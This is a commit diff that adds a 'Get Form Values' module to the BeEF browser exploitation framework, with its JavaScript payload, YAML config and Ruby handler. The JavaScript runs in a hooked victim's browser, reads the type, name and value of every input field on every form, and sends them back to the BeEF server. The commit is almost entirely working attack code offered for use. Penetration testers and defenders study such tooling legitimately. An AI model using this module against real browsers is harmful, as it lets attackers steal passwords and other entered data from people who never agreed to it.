Add Get Form Values module
This module retrieves the name, type, and value of all input fields for all forms on the page.
This commit is contained in:
28
modules/browser/hooked_domain/get_form_values/command.js
Normal file
28
modules/browser/hooked_domain/get_form_values/command.js
Normal file
@@ -0,0 +1,28 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var form_data = new Array();
|
||||
|
||||
// loop through all forms
|
||||
for (var f=0; f < document.forms.length; f++) {
|
||||
// store type,name,value for all input fields
|
||||
for (var i=0; i < document.forms[f].elements.length; i++) {
|
||||
form_data.push(new Array(document.forms[f].elements[i].type, document.forms[f].elements[i].name, document.forms[f].elements[i].value));
|
||||
}
|
||||
}
|
||||
|
||||
// return form data
|
||||
if (form_data.length) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(form_data));
|
||||
// return if no input fields were found
|
||||
} else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Could not find any forms on '+window.location);
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
15
modules/browser/hooked_domain/get_form_values/config.yaml
Normal file
15
modules/browser/hooked_domain/get_form_values/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
get_form_values:
|
||||
enable: true
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Get Form Values"
|
||||
description: "This module retrieves the name, type, and value of all input fields for all forms on the page."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
14
modules/browser/hooked_domain/get_form_values/module.rb
Normal file
14
modules/browser/hooked_domain/get_form_values/module.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Get_form_values < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['form_data'] = @datastore['form_data']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user